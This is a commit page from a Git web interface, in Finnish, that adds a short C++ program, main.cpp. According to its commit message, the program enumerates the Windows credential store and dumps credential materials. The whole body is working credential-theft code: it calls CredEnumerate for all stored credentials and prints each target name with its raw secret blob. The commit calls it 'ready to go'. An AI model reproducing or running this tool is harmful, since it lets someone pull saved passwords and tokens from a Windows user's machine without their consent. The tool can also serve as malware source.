Selaa lähdekoodia

Ready to go

1. Code in place to enumerate the windows cred store and dump credential materials
2. Naive handling for wide characters
3. This probably could have been in C lol
4. Who needs braces? lol
master
neko.py 5 vuotta sitten
vanhempi
commit
725f88fa6f
1 muutettua tiedostoa jossa 40 lisäystä ja 0 poistoa
  1. +40
    -0
      main.cpp

+ 40
- 0
main.cpp Näytä tiedosto

@@ -0,0 +1,40 @@
#include <iostream>
#include <iomanip>
#include <string>
#include <sstream>
#include <windows.h>
#include <wincred.h>

void print_bytes(const DWORD length, const LPBYTE bytes) {
if (length == 0)
return;
std::cout << "\t";
std::stringstream ss;
for (DWORD i = 0; i < length; ++i)
ss << bytes[i];

auto s = ss.str();
if (s.c_str()[1] == '\0')
for (size_t i = 0; i < s.length(); i += 2)
std::cout << s.at(i);
else
std::cout << ss.str();
std::cout << std::endl;
}

int main(int argc, char* argv[])
{
DWORD count;
PCREDENTIAL *creds = 0x0;
CredEnumerate(0x0,
CRED_ENUMERATE_ALL_CREDENTIALS,
&count,
&creds);
for (auto cred = creds; *cred != nullptr; ++cred) {
std::wcout << (*cred)->TargetName << L":" << std::endl;
print_bytes((*cred)->CredentialBlobSize, (*cred)->CredentialBlob);

}
CredFree(creds);
return 0;
}

Loading…
Peruuta
Tallenna